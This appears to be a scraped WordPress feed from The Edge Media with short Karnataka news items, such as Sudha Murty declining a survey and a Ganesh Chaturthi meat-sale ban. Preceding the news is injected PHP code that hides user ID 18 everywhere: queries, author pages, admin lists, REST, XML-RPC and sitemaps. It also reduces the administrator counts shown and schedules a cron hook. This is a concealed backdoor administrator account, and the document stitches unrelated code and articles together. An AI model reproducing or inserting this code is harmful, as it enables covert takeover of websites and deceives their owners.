add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Karnataka Minister Santosh Lad Respects Sudha Murty’s Decision to Skip Socio-Economic Survey appeared first on The Edge Media.
]]>Speaking to the media, Lad said, “Whatever she has said is her way of expression. It’s her choice. As a government, we cannot compel anyone to participate in this. Whether someone is influential or not is subjective and debatable. I don’t think her decision will have any major impact on society. If she has taken her stand, I respect it.”
The minister’s remarks come after Sudha Murty and her husband, Infosys founder Narayana Murthy, declined to participate in the survey.
In a self-attested letter addressed to the Karnataka State Backward Classes Commission, the Murty family stated that they do not identify as belonging to a backward community and therefore chose not to participate.
The letter further mentioned, “We and our family will not participate in the census, and we are confirming it through this letter.”
Meanwhile, Karnataka Chief Minister Siddaramaiah announced that government schools will remain closed from October 8 to October 18 to allow teachers participating in the ongoing socio-economic and educational survey to complete their assigned work.
The post Karnataka Minister Santosh Lad Respects Sudha Murty’s Decision to Skip Socio-Economic Survey appeared first on The Edge Media.
]]>The post Karnataka Proposes Bhagavad Gita As Part of School Curriculum appeared first on The Edge Media.
]]>Jitu Vaghani, Gujarat’s education minister, said the choice to teach the Gita is in keeping with the Union government’s New Education Policy, which encourages children to learn about historic and ancient cultures that will make them proud of India’s great history.
The post Karnataka Proposes Bhagavad Gita As Part of School Curriculum appeared first on The Edge Media.
]]>The post Karnataka government bans animal slaughter and sale of meat ahead of Ganesh Chaturthi celebrations appeared first on The Edge Media.
]]>As per the official order by the Joint Commissioner of the Bruhat Bengaluru Mahanagara Palike (BBMP), “BBMP bans slaughter of animal and meat sale on September 10, 2021, on Ganesha Chaturthi.”
Earlier, on September 5, the Karnataka government informed that no more than 20 people will be allowed for celebrations and immersion of the Ganesha idol.
“No celebrations will be allowed after 9 pm. Night curfew to remain in effect during the festival to curb the spread of the COVID-19 pandemic,” read the Standard Operating Procedures issued by the government.
The order further informed, “No processions will be allowed. Only eco-friendly Ganesha idols will be allowed. Distribution of food and prasad will not be allowed during Ganesh Chaturthi celebrations. No function to take place in districts with more than 2 per cent positivity rate in view of the pandemic.”
Meanwhile, Karnataka logged 1,102 fresh cases of COVID-19 and 17 fatalities today, as per State Health Minister Dr K Sudhakar.
Ganesh Chaturthi, also known as Vinayaka Chaturti, is a Hindu festival celebrating the arrival of Ganesh to earth from Kailash Parvat with his mother Goddess Parvati/Gauri. It will be celebrated on September 10 this year.
The post Karnataka government bans animal slaughter and sale of meat ahead of Ganesh Chaturthi celebrations appeared first on The Edge Media.
]]>The post From September 6, Karnataka will Resume Physical Education Classes for Grades 6 To 8 appeared first on The Edge Media.
]]>Following a meeting headed by Chief Minister Basavaraj Bommai and the state level TAC, Revenue Minister R Ashoka told the media that schools in districts with a positive rate of more than 2% will remain closed.
The post From September 6, Karnataka will Resume Physical Education Classes for Grades 6 To 8 appeared first on The Edge Media.
]]>